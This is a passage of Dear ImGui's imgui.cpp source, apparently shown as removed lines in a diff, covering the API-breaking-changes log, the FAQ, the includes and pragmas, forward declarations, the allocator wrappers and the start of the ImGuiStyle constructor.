ImFontConfig::MergeGlyphCenterV in favor of a more multipurpose ImFontConfig::GlyphOffset. - - 2017/05/01 (1.50) - renamed ImDrawList::PathFill() (rarely used directly) to ImDrawList::PathFillConvex() for clarity. - - 2016/11/06 (1.50) - BeginChild(const char*) now applies the stack id to the provided label, consistently with other functions as it should always have been. It shouldn't affect you unless (extremely unlikely) you were appending multiple times to a same child from different locations of the stack id. If that's the case, generate an id with GetId() and use it instead of passing string to BeginChild(). - - 2016/10/15 (1.50) - avoid 'void* user_data' parameter to io.SetClipboardTextFn/io.GetClipboardTextFn pointers. We pass io.ClipboardUserData to it. - - 2016/09/25 (1.50) - style.WindowTitleAlign is now a ImVec2 (ImGuiAlign enum was removed). set to (0.5f,0.5f) for horizontal+vertical centering, (0.0f,0.0f) for upper-left, etc. - - 2016/07/30 (1.50) - SameLine(x) with x>0.0f is now relative to left of column/group if any, and not always to left of window. This was sort of always the intent and hopefully breakage should be minimal. - - 2016/05/12 (1.49) - title bar (using ImGuiCol_TitleBg/ImGuiCol_TitleBgActive colors) isn't rendered over a window background (ImGuiCol_WindowBg color) anymore. - If your TitleBg/TitleBgActive alpha was 1.0f or you are using the default theme it will not affect you, otherwise if <1.0f you need tweak your custom theme to readjust for the fact that we don't draw a WindowBg background behind the title bar. - This helper function will convert an old TitleBg/TitleBgActive color into a new one with the same visual output, given the OLD color and the OLD WindowBg color: - ImVec4 ConvertTitleBgCol(const ImVec4& win_bg_col, const ImVec4& title_bg_col) { float new_a = 1.0f - ((1.0f - win_bg_col.w) * (1.0f - title_bg_col.w)), k = title_bg_col.w / new_a; return ImVec4((win_bg_col.x * win_bg_col.w + title_bg_col.x) * k, (win_bg_col.y * win_bg_col.w + title_bg_col.y) * k, (win_bg_col.z * win_bg_col.w + title_bg_col.z) * k, new_a); } - If this is confusing, pick the RGB value from title bar from an old screenshot and apply this as TitleBg/TitleBgActive. Or you may just create TitleBgActive from a tweaked TitleBg color. - - 2016/05/07 (1.49) - removed confusing set of GetInternalState(), GetInternalStateSize(), SetInternalState() functions. Now using CreateContext(), DestroyContext(), GetCurrentContext(), SetCurrentContext(). - - 2016/05/02 (1.49) - renamed SetNextTreeNodeOpened() to SetNextTreeNodeOpen(), no redirection. - - 2016/05/01 (1.49) - obsoleted old signature of CollapsingHeader(const char* label, const char* str_id = NULL, bool display_frame = true, bool default_open = false) as extra parameters were badly designed and rarely used. You can replace the "default_open = true" flag in new API with CollapsingHeader(label, ImGuiTreeNodeFlags_DefaultOpen). - - 2016/04/26 (1.49) - changed ImDrawList::PushClipRect(ImVec4 rect) to ImDrawList::PushClipRect(Imvec2 min,ImVec2 max,bool intersect_with_current_clip_rect=false). Note that higher-level ImGui::PushClipRect() is preferable because it will clip at logic/widget level, whereas ImDrawList::PushClipRect() only affect your renderer. - - 2016/04/03 (1.48) - removed style.WindowFillAlphaDefault setting which was redundant. Bake default BG alpha inside style.Colors[ImGuiCol_WindowBg] and all other Bg color values. (ref github issue #337). - - 2016/04/03 (1.48) - renamed ImGuiCol_TooltipBg to ImGuiCol_PopupBg, used by popups/menus and tooltips. popups/menus were previously using ImGuiCol_WindowBg. (ref github issue #337) - - 2016/03/21 (1.48) - renamed GetWindowFont() to GetFont(), GetWindowFontSize() to GetFontSize(). Kept inline redirection function (will obsolete). - - 2016/03/02 (1.48) - InputText() completion/history/always callbacks: if you modify the text buffer manually (without using DeleteChars()/InsertChars() helper) you need to maintain the BufTextLen field. added an assert. - - 2016/01/23 (1.48) - fixed not honoring exact width passed to PushItemWidth(), previously it would add extra FramePadding.x*2 over that width. if you had manual pixel-perfect alignment in place it might affect you. - - 2015/12/27 (1.48) - fixed ImDrawList::AddRect() which used to render a rectangle 1 px too large on each axis. - - 2015/12/04 (1.47) - renamed Color() helpers to ValueColor() - dangerously named, rarely used and probably to be made obsolete. - - 2015/08/29 (1.45) - with the addition of horizontal scrollbar we made various fixes to inconsistencies with dealing with cursor position. - GetCursorPos()/SetCursorPos() functions now include the scrolled amount. It shouldn't affect the majority of users, but take note that SetCursorPosX(100.0f) puts you at +100 from the starting x position which may include scrolling, not at +100 from the window left side. - GetContentRegionMax()/GetWindowContentRegionMin()/GetWindowContentRegionMax() functions allow include the scrolled amount. Typically those were used in cases where no scrolling would happen so it may not be a problem, but watch out! - - 2015/08/29 (1.45) - renamed style.ScrollbarWidth to style.ScrollbarSize - - 2015/08/05 (1.44) - split imgui.cpp into extra files: imgui_demo.cpp imgui_draw.cpp imgui_internal.h that you need to add to your project. - - 2015/07/18 (1.44) - fixed angles in ImDrawList::PathArcTo(), PathArcToFast() (introduced in 1.43) being off by an extra PI for no justifiable reason - - 2015/07/14 (1.43) - add new ImFontAtlas::AddFont() API. For the old AddFont***, moved the 'font_no' parameter of ImFontAtlas::AddFont** functions to the ImFontConfig structure. - you need to render your textured triangles with bilinear filtering to benefit from sub-pixel positioning of text. - - 2015/07/08 (1.43) - switched rendering data to use indexed rendering. this is saving a fair amount of CPU/GPU and enables us to get anti-aliasing for a marginal cost. - this necessary change will break your rendering function! the fix should be very easy. sorry for that :( - - if you are using a vanilla copy of one of the imgui_impl_XXX.cpp provided in the example, you just need to update your copy and you can ignore the rest. - - the signature of the io.RenderDrawListsFn handler has changed! - old: ImGui_XXXX_RenderDrawLists(ImDrawList** const cmd_lists, int cmd_lists_count) - new: ImGui_XXXX_RenderDrawLists(ImDrawData* draw_data). - parameters: 'cmd_lists' becomes 'draw_data->CmdLists', 'cmd_lists_count' becomes 'draw_data->CmdListsCount' - ImDrawList: 'commands' becomes 'CmdBuffer', 'vtx_buffer' becomes 'VtxBuffer', 'IdxBuffer' is new. - ImDrawCmd: 'vtx_count' becomes 'ElemCount', 'clip_rect' becomes 'ClipRect', 'user_callback' becomes 'UserCallback', 'texture_id' becomes 'TextureId'. - - each ImDrawList now contains both a vertex buffer and an index buffer. For each command, render ElemCount/3 triangles using indices from the index buffer. - - if you REALLY cannot render indexed primitives, you can call the draw_data->DeIndexAllBuffers() method to de-index the buffers. This is slow and a waste of CPU/GPU. Prefer using indexed rendering! - - refer to code in the examples/ folder or ask on the GitHub if you are unsure of how to upgrade. please upgrade! - - 2015/07/10 (1.43) - changed SameLine() parameters from int to float. - - 2015/07/02 (1.42) - renamed SetScrollPosHere() to SetScrollFromCursorPos(). Kept inline redirection function (will obsolete). - - 2015/07/02 (1.42) - renamed GetScrollPosY() to GetScrollY(). Necessary to reduce confusion along with other scrolling functions, because positions (e.g. cursor position) are not equivalent to scrolling amount. - - 2015/06/14 (1.41) - changed ImageButton() default bg_col parameter from (0,0,0,1) (black) to (0,0,0,0) (transparent) - makes a difference when texture have transparence - - 2015/06/14 (1.41) - changed Selectable() API from (label, selected, size) to (label, selected, flags, size). Size override should have been rarely be used. Sorry! - - 2015/05/31 (1.40) - renamed GetWindowCollapsed() to IsWindowCollapsed() for consistency. Kept inline redirection function (will obsolete). - - 2015/05/31 (1.40) - renamed IsRectClipped() to IsRectVisible() for consistency. Note that return value is opposite! Kept inline redirection function (will obsolete). - - 2015/05/27 (1.40) - removed the third 'repeat_if_held' parameter from Button() - sorry! it was rarely used and inconsistent. Use PushButtonRepeat(true) / PopButtonRepeat() to enable repeat on desired buttons. - - 2015/05/11 (1.40) - changed BeginPopup() API, takes a string identifier instead of a bool. ImGui needs to manage the open/closed state of popups. Call OpenPopup() to actually set the "open" state of a popup. BeginPopup() returns true if the popup is opened. - - 2015/05/03 (1.40) - removed style.AutoFitPadding, using style.WindowPadding makes more sense (the default values were already the same). - - 2015/04/13 (1.38) - renamed IsClipped() to IsRectClipped(). Kept inline redirection function until 1.50. - - 2015/04/09 (1.38) - renamed ImDrawList::AddArc() to ImDrawList::AddArcFast() for compatibility with future API - - 2015/04/03 (1.38) - removed ImGuiCol_CheckHovered, ImGuiCol_CheckActive, replaced with the more general ImGuiCol_FrameBgHovered, ImGuiCol_FrameBgActive. - - 2014/04/03 (1.38) - removed support for passing -FLT_MAX..+FLT_MAX as the range for a SliderFloat(). Use DragFloat() or Inputfloat() instead. - - 2015/03/17 (1.36) - renamed GetItemBoxMin()/GetItemBoxMax()/IsMouseHoveringBox() to GetItemRectMin()/GetItemRectMax()/IsMouseHoveringRect(). Kept inline redirection function until 1.50. - - 2015/03/15 (1.36) - renamed style.TreeNodeSpacing to style.IndentSpacing, ImGuiStyleVar_TreeNodeSpacing to ImGuiStyleVar_IndentSpacing - - 2015/03/13 (1.36) - renamed GetWindowIsFocused() to IsWindowFocused(). Kept inline redirection function until 1.50. - - 2015/03/08 (1.35) - renamed style.ScrollBarWidth to style.ScrollbarWidth (casing) - - 2015/02/27 (1.34) - renamed OpenNextNode(bool) to SetNextTreeNodeOpened(bool, ImGuiSetCond). Kept inline redirection function until 1.50. - - 2015/02/27 (1.34) - renamed ImGuiSetCondition_*** to ImGuiSetCond_***, and _FirstUseThisSession becomes _Once. - - 2015/02/11 (1.32) - changed text input callback ImGuiTextEditCallback return type from void-->int. reserved for future use, return 0 for now. - - 2015/02/10 (1.32) - renamed GetItemWidth() to CalcItemWidth() to clarify its evolving behavior - - 2015/02/08 (1.31) - renamed GetTextLineSpacing() to GetTextLineHeightWithSpacing() - - 2015/02/01 (1.31) - removed IO.MemReallocFn (unused) - - 2015/01/19 (1.30) - renamed ImGuiStorage::GetIntPtr()/GetFloatPtr() to GetIntRef()/GetIntRef() because Ptr was conflicting with actual pointer storage functions. - - 2015/01/11 (1.30) - big font/image API change! now loads TTF file. allow for multiple fonts. no need for a PNG loader. - - 2015/01/11 (1.30) - removed GetDefaultFontData(). uses io.Fonts->GetTextureData*() API to retrieve uncompressed pixels. - - old: const void* png_data; unsigned int png_size; ImGui::GetDefaultFontData(NULL, NULL, &png_data, &png_size); [..Upload texture to GPU..]; - - new: unsigned char* pixels; int width, height; io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); [..Upload texture to GPU..]; io.Fonts->SetTexID(YourTexIdentifier); - you now have more flexibility to load multiple TTF fonts and manage the texture buffer for internal needs. It is now recommended that you sample the font texture with bilinear interpolation. - - 2015/01/11 (1.30) - added texture identifier in ImDrawCmd passed to your render function (we can now render images). make sure to call io.Fonts->SetTexID() - - 2015/01/11 (1.30) - removed IO.PixelCenterOffset (unnecessary, can be handled in user projection matrix) - - 2015/01/11 (1.30) - removed ImGui::IsItemFocused() in favor of ImGui::IsItemActive() which handles all widgets - - 2014/12/10 (1.18) - removed SetNewWindowDefaultPos() in favor of new generic API SetNextWindowPos(pos, ImGuiSetCondition_FirstUseEver) - - 2014/11/28 (1.17) - moved IO.Font*** options to inside the IO.Font-> structure (FontYOffset, FontTexUvForWhite, FontBaseScale, FontFallbackGlyph) - - 2014/11/26 (1.17) - reworked syntax of IMGUI_ONCE_UPON_A_FRAME helper macro to increase compiler compatibility - - 2014/11/07 (1.15) - renamed IsHovered() to IsItemHovered() - - 2014/10/02 (1.14) - renamed IMGUI_INCLUDE_IMGUI_USER_CPP to IMGUI_INCLUDE_IMGUI_USER_INL and imgui_user.cpp to imgui_user.inl (more IDE friendly) - - 2014/09/25 (1.13) - removed 'text_end' parameter from IO.SetClipboardTextFn (the string is now always zero-terminated for simplicity) - - 2014/09/24 (1.12) - renamed SetFontScale() to SetWindowFontScale() - - 2014/09/24 (1.12) - moved IM_MALLOC/IM_REALLOC/IM_FREE preprocessor defines to IO.MemAllocFn/IO.MemReallocFn/IO.MemFreeFn - - 2014/08/30 (1.09) - removed IO.FontHeight (now computed automatically) - - 2014/08/30 (1.09) - moved IMGUI_FONT_TEX_UV_FOR_WHITE preprocessor define to IO.FontTexUvForWhite - - 2014/08/28 (1.09) - changed the behavior of IO.PixelCenterOffset following various rendering fixes - - - FREQUENTLY ASKED QUESTIONS (FAQ) - ================================ - - Read all answers online: - https://www.dearimgui.org/faq or https://github.com/ocornut/imgui/blob/master/docs/FAQ.md (same url) - Read all answers locally (with a text editor or ideally a Markdown viewer): - docs/FAQ.md - Some answers are copied down here to facilitate searching in code. - - Q&A: Basics - =========== - - Q: Where is the documentation? - A: This library is poorly documented at the moment and expects of the user to be acquainted with C/C++. - - Run the examples/ and explore them. - - See demo code in imgui_demo.cpp and particularly the ImGui::ShowDemoWindow() function. - - The demo covers most features of Dear ImGui, so you can read the code and see its output. - - See documentation and comments at the top of imgui.cpp + effectively imgui.h. - - Dozens of standalone example applications using e.g. OpenGL/DirectX are provided in the - examples/ folder to explain how to integrate Dear ImGui with your own engine/application. - - The Wiki (https://github.com/ocornut/imgui/wiki) has many resources and links. - - The Glossary (https://github.com/ocornut/imgui/wiki/Glossary) page also may be useful. - - Your programming IDE is your friend, find the type or function declaration to find comments - associated to it. - - Q: What is this library called? - Q: Which version should I get? - >> This library is called "Dear ImGui", please don't call it "ImGui" :) - >> See https://www.dearimgui.org/faq for details. - - Q&A: Integration - ================ - - Q: How to get started? - A: Read 'PROGRAMMER GUIDE' above. Read examples/README.txt. - - Q: How can I tell whether to dispatch mouse/keyboard to Dear ImGui or to my application? - A: You should read the 'io.WantCaptureMouse', 'io.WantCaptureKeyboard' and 'io.WantTextInput' flags! - >> See https://www.dearimgui.org/faq for fully detailed answer. You really want to read this. - - Q. How can I enable keyboard controls? - Q: How can I use this without a mouse, without a keyboard or without a screen? (gamepad, input share, remote display) - Q: I integrated Dear ImGui in my engine and little squares are showing instead of text.. - Q: I integrated Dear ImGui in my engine and some elements are clipping or disappearing when I move windows around.. - Q: I integrated Dear ImGui in my engine and some elements are displaying outside their expected windows boundaries.. - >> See https://www.dearimgui.org/faq - - Q&A: Usage - ---------- - - Q: Why is my widget not reacting when I click on it? - Q: How can I have widgets with an empty label? - Q: How can I have multiple widgets with the same label? - Q: How can I display an image? What is ImTextureID, how does it works? - Q: How can I use my own math types instead of ImVec2/ImVec4? - Q: How can I interact with standard C++ types (such as std::string and std::vector)? - Q: How can I display custom shapes? (using low-level ImDrawList API) - >> See https://www.dearimgui.org/faq - - Q&A: Fonts, Text - ================ - - Q: How should I handle DPI in my application? - Q: How can I load a different font than the default? - Q: How can I easily use icons in my application? - Q: How can I load multiple fonts? - Q: How can I display and input non-Latin characters such as Chinese, Japanese, Korean, Cyrillic? - >> See https://www.dearimgui.org/faq and https://github.com/ocornut/imgui/edit/master/docs/FONTS.md - - Q&A: Concerns - ============= - - Q: Who uses Dear ImGui? - Q: Can you create elaborate/serious tools with Dear ImGui? - Q: Can you reskin the look of Dear ImGui? - Q: Why using C++ (as opposed to C)? - >> See https://www.dearimgui.org/faq - - Q&A: Community - ============== - - Q: How can I help? - A: - Businesses: please reach out to "contact AT dearimgui.org" if you work in a place using Dear ImGui! - We can discuss ways for your company to fund development via invoiced technical support, maintenance or sponsoring contacts. - This is among the most useful thing you can do for Dear ImGui. With increased funding we can hire more people working on this project. - - Individuals: you can support continued development via PayPal donations. See README. - - If you are experienced with Dear ImGui and C++, look at the github issues, look at the Wiki, read docs/TODO.txt - and see how you want to help and can help! - - Disclose your usage of Dear ImGui via a dev blog post, a tweet, a screenshot, a mention somewhere etc. - You may post screenshot or links in the gallery threads (github.com/ocornut/imgui/issues/3488). Visuals are ideal as they inspire other programmers. - But even without visuals, disclosing your use of dear imgui help the library grow credibility, and help other teams and programmers with taking decisions. - - If you have issues or if you need to hack into the library, even if you don't expect any support it is useful that you share your issues (on github or privately). - -*/ - -//------------------------------------------------------------------------- -// [SECTION] INCLUDES -//------------------------------------------------------------------------- - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) -#define _CRT_SECURE_NO_WARNINGS -#endif - -#include "imgui.h" -#ifndef IMGUI_DISABLE - -#ifndef IMGUI_DEFINE_MATH_OPERATORS -#define IMGUI_DEFINE_MATH_OPERATORS -#endif -#include "imgui_internal.h" - -// System includes -#include // toupper -#include // vsnprintf, sscanf, printf -#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier -#include // intptr_t -#else -#include // intptr_t -#endif - -// [Windows] OS specific includes (optional) -#if defined(_WIN32) && defined(IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS) && defined(IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS) && defined(IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) -#define IMGUI_DISABLE_WIN32_FUNCTIONS -#endif -#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) -#ifndef WIN32_LEAN_AND_MEAN -#define WIN32_LEAN_AND_MEAN -#endif -#ifndef NOMINMAX -#define NOMINMAX -#endif -#ifndef __MINGW32__ -#include // _wfopen, OpenClipboard -#else -#include -#endif -#if defined(WINAPI_FAMILY) && (WINAPI_FAMILY == WINAPI_FAMILY_APP) // UWP doesn't have all Win32 functions -#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS -#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS -#endif -#endif - -// [Apple] OS specific includes -#if defined(__APPLE__) -#include -#endif - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (disable: 4127) // condition expression is constant -#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen -#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later -#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types -#endif -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. -#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. -#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. -#pragma clang diagnostic ignored "-Wexit-time-destructors" // warning: declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals. -#pragma clang diagnostic ignored "-Wglobal-constructors" // warning: declaration requires a global destructor // similar to above, not sure what the exact difference is. -#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness -#pragma clang diagnostic ignored "-Wformat-pedantic" // warning: format specifies type 'void *' but the argument has type 'xxxx *' // unreasonable, would lead to casting every %p arg to void*. probably enabled by -pedantic. -#pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning: cast to 'void *' from smaller integer type 'int' -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 -#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -// We disable -Wpragmas because GCC doesn't provide an has_warning equivalent and some forks/patches may not following the warning/version association. -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used -#pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size -#pragma GCC diagnostic ignored "-Wformat" // warning: format '%p' expects argument of type 'void*', but argument 6 has type 'ImGuiWindow*' -#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function -#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value -#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked -#pragma GCC diagnostic ignored "-Wstrict-overflow" // warning: assuming signed overflow does not occur when assuming that (X - c) > X is always false -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -// Debug options -#define IMGUI_DEBUG_NAV_SCORING 0 // Display navigation scoring preview when hovering items. Display last moving direction matches when holding CTRL -#define IMGUI_DEBUG_NAV_RECTS 0 // Display the reference navigation rectangle for each window -#define IMGUI_DEBUG_INI_SETTINGS 0 // Save additional comments in .ini file (particularly helps for Docking, but makes saving slower) - -// When using CTRL+TAB (or Gamepad Square+L/R) we delay the visual a little in order to reduce visual noise doing a fast switch. -static const float NAV_WINDOWING_HIGHLIGHT_DELAY = 0.20f; // Time before the highlight and screen dimming starts fading in -static const float NAV_WINDOWING_LIST_APPEAR_DELAY = 0.15f; // Time before the window list starts to appear - -// Window resizing from edges (when io.ConfigWindowsResizeFromEdges = true and ImGuiBackendFlags_HasMouseCursors is set in io.BackendFlags by backend) -static const float WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS = 4.0f; // Extend outside and inside windows. Affect FindHoveredWindow(). -static const float WINDOWS_RESIZE_FROM_EDGES_FEEDBACK_TIMER = 0.04f; // Reduce visual noise by only highlighting the border after a certain time. -static const float WINDOWS_MOUSE_WHEEL_SCROLL_LOCK_TIMER = 2.00f; // Lock scrolled window (so it doesn't pick child windows that are scrolling through) for a certain time, unless mouse moved. - -//------------------------------------------------------------------------- -// [SECTION] FORWARD DECLARATIONS -//------------------------------------------------------------------------- - -static void SetCurrentWindow(ImGuiWindow* window); -static void FindHoveredWindow(); -static ImGuiWindow* CreateNewWindow(const char* name, ImGuiWindowFlags flags); -static ImVec2 CalcNextScrollFromScrollTargetAndClamp(ImGuiWindow* window); - -static void AddDrawListToDrawData(ImVector* out_list, ImDrawList* draw_list); -static void AddWindowToSortBuffer(ImVector* out_sorted_windows, ImGuiWindow* window); - -// Settings -static void WindowSettingsHandler_ClearAll(ImGuiContext*, ImGuiSettingsHandler*); -static void* WindowSettingsHandler_ReadOpen(ImGuiContext*, ImGuiSettingsHandler*, const char* name); -static void WindowSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line); -static void WindowSettingsHandler_ApplyAll(ImGuiContext*, ImGuiSettingsHandler*); -static void WindowSettingsHandler_WriteAll(ImGuiContext*, ImGuiSettingsHandler*, ImGuiTextBuffer* buf); - -// Platform Dependents default implementation for IO functions -static const char* GetClipboardTextFn_DefaultImpl(void* user_data); -static void SetClipboardTextFn_DefaultImpl(void* user_data, const char* text); -static void ImeSetInputScreenPosFn_DefaultImpl(int x, int y); - -namespace ImGui -{ -// Navigation -static void NavUpdate(); -static void NavUpdateWindowing(); -static void NavUpdateWindowingOverlay(); -static void NavUpdateMoveResult(); -static void NavUpdateInitResult(); -static float NavUpdatePageUpPageDown(); -static inline void NavUpdateAnyRequestFlag(); -static void NavEndFrame(); -static bool NavScoreItem(ImGuiNavMoveResult* result, ImRect cand); -static void NavApplyItemToResult(ImGuiNavMoveResult* result, ImGuiWindow* window, ImGuiID id, const ImRect& nav_bb_rel); -static void NavProcessItem(ImGuiWindow* window, const ImRect& nav_bb, ImGuiID id); -static ImVec2 NavCalcPreferredRefPos(); -static void NavSaveLastChildNavWindowIntoParent(ImGuiWindow* nav_window); -static ImGuiWindow* NavRestoreLastChildNavWindow(ImGuiWindow* window); -static void NavRestoreLayer(ImGuiNavLayer layer); -static int FindWindowFocusIndex(ImGuiWindow* window); - -// Error Checking -static void ErrorCheckNewFrameSanityChecks(); -static void ErrorCheckEndFrameSanityChecks(); - -// Misc -static void UpdateSettings(); -static void UpdateMouseInputs(); -static void UpdateMouseWheel(); -static void UpdateTabFocus(); -static void UpdateDebugToolItemPicker(); -static bool UpdateWindowManualResize(ImGuiWindow* window, const ImVec2& size_auto_fit, int* border_held, int resize_grip_count, ImU32 resize_grip_col[4], const ImRect& visibility_rect); -static void RenderWindowOuterBorders(ImGuiWindow* window); -static void RenderWindowDecorations(ImGuiWindow* window, const ImRect& title_bar_rect, bool title_bar_is_highlight, int resize_grip_count, const ImU32 resize_grip_col[4], float resize_grip_draw_size); -static void RenderWindowTitleBarContents(ImGuiWindow* window, const ImRect& title_bar_rect, const char* name, bool* p_open); - -// Viewports -static void UpdateViewportsNewFrame(); - -} - -//----------------------------------------------------------------------------- -// [SECTION] CONTEXT AND MEMORY ALLOCATORS -//----------------------------------------------------------------------------- - -// DLL users: -// - Heaps and globals are not shared across DLL boundaries! -// - You will need to call SetCurrentContext() + SetAllocatorFunctions() for each static/DLL boundary you are calling from. -// - Same apply for hot-reloading mechanisms that are reliant on reloading DLL (note that many hot-reloading mechanism works without DLL). -// - Using Dear ImGui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility. -// - Confused? In a debugger: add GImGui to your watch window and notice how its value changes depending on your current location (which DLL boundary you are in). - -// Current context pointer. Implicitly used by all Dear ImGui functions. Always assumed to be != NULL. -// - ImGui::CreateContext() will automatically set this pointer if it is NULL. -// Change to a different context by calling ImGui::SetCurrentContext(). -// - Important: Dear ImGui functions are not thread-safe because of this pointer. -// If you want thread-safety to allow N threads to access N different contexts: -// - Change this variable to use thread local storage so each thread can refer to a different context, in your imconfig.h: -// struct ImGuiContext; -// extern thread_local ImGuiContext* MyImGuiTLS; -// #define GImGui MyImGuiTLS -// And then define MyImGuiTLS in one of your cpp file. Note that thread_local is a C++11 keyword, earlier C++ uses compiler-specific keyword. -// - Future development aim to make this context pointer explicit to all calls. Also read https://github.com/ocornut/imgui/issues/586 -// - If you need a finite number of contexts, you may compile and use multiple instances of the ImGui code from different namespace. -// - DLL users: read comments above. -#ifndef GImGui -ImGuiContext* GImGui = NULL; -#endif - -// Memory Allocator functions. Use SetAllocatorFunctions() to change them. -// - You probably don't want to modify those mid-program, and if you use global/static e.g. ImVector<> instances you may need to keep them accessible during program destruction. -// - DLL users: read comments above. -#ifndef IMGUI_DISABLE_DEFAULT_ALLOCATORS -static void* MallocWrapper(size_t size, void* user_data) { IM_UNUSED(user_data); return malloc(size); } -static void FreeWrapper(void* ptr, void* user_data) { IM_UNUSED(user_data); free(ptr); } -#else -static void* MallocWrapper(size_t size, void* user_data) { IM_UNUSED(user_data); IM_UNUSED(size); IM_ASSERT(0); return NULL; } -static void FreeWrapper(void* ptr, void* user_data) { IM_UNUSED(user_data); IM_UNUSED(ptr); IM_ASSERT(0); } -#endif -static ImGuiMemAllocFunc GImAllocatorAllocFunc = MallocWrapper; -static ImGuiMemFreeFunc GImAllocatorFreeFunc = FreeWrapper; -static void* GImAllocatorUserData = NULL; - -//----------------------------------------------------------------------------- -// [SECTION] USER FACING STRUCTURES (ImGuiStyle, ImGuiIO) -//----------------------------------------------------------------------------- - -ImGuiStyle::ImGuiStyle() -{ - Alpha = 1.0f; // Global alpha applies to everything in ImGui - WindowPadding = ImVec2(8,8); // Padding within a window - WindowRounding = 0.0f; // Radius of window corners rounding. Set to 0.0f to have rectangular windows. Large values tend to lead to variety of artifacts and are not recommended. - WindowBorderSize = 1.0f; // Thickness of border around windows. Generally set to 0.0f or 1.0f. Other values not well tested. - WindowMinSize = ImVec2(32,32); // Minimum window size - WindowTitleAlign = ImVec2(0.0f,0.5f);// Alignment for title bar text - WindowMenuButtonPosition= ImGuiDir_Left; // Position of the collapsing/docking button in the title bar (left/right). Defaults to ImGuiDir_Left. - ChildRounding = 0.0f; // Radius of child window corners rounding. Set to 0.0f to have rectangular child windows - ChildBorderSize = 1.0f; // Thickness of border around child windows. Generally set to 0.0f or 1.0f. Other values not well tested. - PopupRounding = 0.0f; // Radius of popup window corners rounding. Set to 0.0f to have rectangular child windows - PopupBorderSize = 1.0f; // Thickness of border around popup or tooltip windows. Generally set to 0.0f or 1.0f. Other values not well tested. - FramePadding = ImVec2(4,3); // Padding within a framed rectangle (used by most widgets) - FrameRounding = 0.0f; // Radius of frame corners rounding. Set to 0.0f to have rectangular frames (used by most widgets). - FrameBorderSize = 0.0f; // Thickness of border around frames. Generally set to 0.0f or 1.0f. Other values not well tested. - ItemSpacing = ImVec2(8,4); // Horizontal and vertical spacing between widgets/lines - ItemInnerSpacing = ImVec2(4,4); // Horizontal and vertical spacing between within elements of a composed widget (e.g. a slider and its label) - CellPadding = ImVec2(4,2); // Padding within a table cell - TouchExtraPadding = ImVec2(0,0); // Expand reactive bounding box for touch-based system where touch position is not accurate enough. Unfortunately we don't sort widgets so priority on overlap will always be given to the first widget. So don't grow this too much! - IndentSpacing = 21.0f; // Horizontal spacing when e.g. entering a tree node. Generally == (FontSize + FramePadding.x*2). - ColumnsMinSpacing = 6.0f; // Minimum horizontal spacing between two columns. Preferably > (FramePadding.x + 1). - ScrollbarSize = 14.0f; // Width of the vertical scrollbar, Height of the horizontal scrollbar - ScrollbarRounding = 9.0f; // Radius of grab corners rounding for scrollbar - GrabMinSize = 10.0f; // Minimum width/height of a grab box for slider/scrollbar - GrabRounding = 0.0f; // Radius of grabs corners rounding. Set to 0.0f to have rectangular slider grabs. - LogSliderDeadzone = 4.0f; // The size in pixels of the dead-zone around zero on logarithmic sliders that cross zero. - TabRounding = 4.0f; // Radius of upper corners of a tab. Set to 0.0f to have rectangular tabs. - TabBorderSize = 0.0f; // Thickness of border around tabs. - TabMinWidthForCloseButton = 0.0f; // Minimum width for close button to appears on an unselected tab when hovered. Set to 0.0f to always show when hovering, set to FLT_MAX to never show close button unless selected. - ColorButtonPosition = ImGuiDir_Right; // Side of the color button in the ColorEdit4 widget (left/right). Defaults to ImGuiDir_Right. - 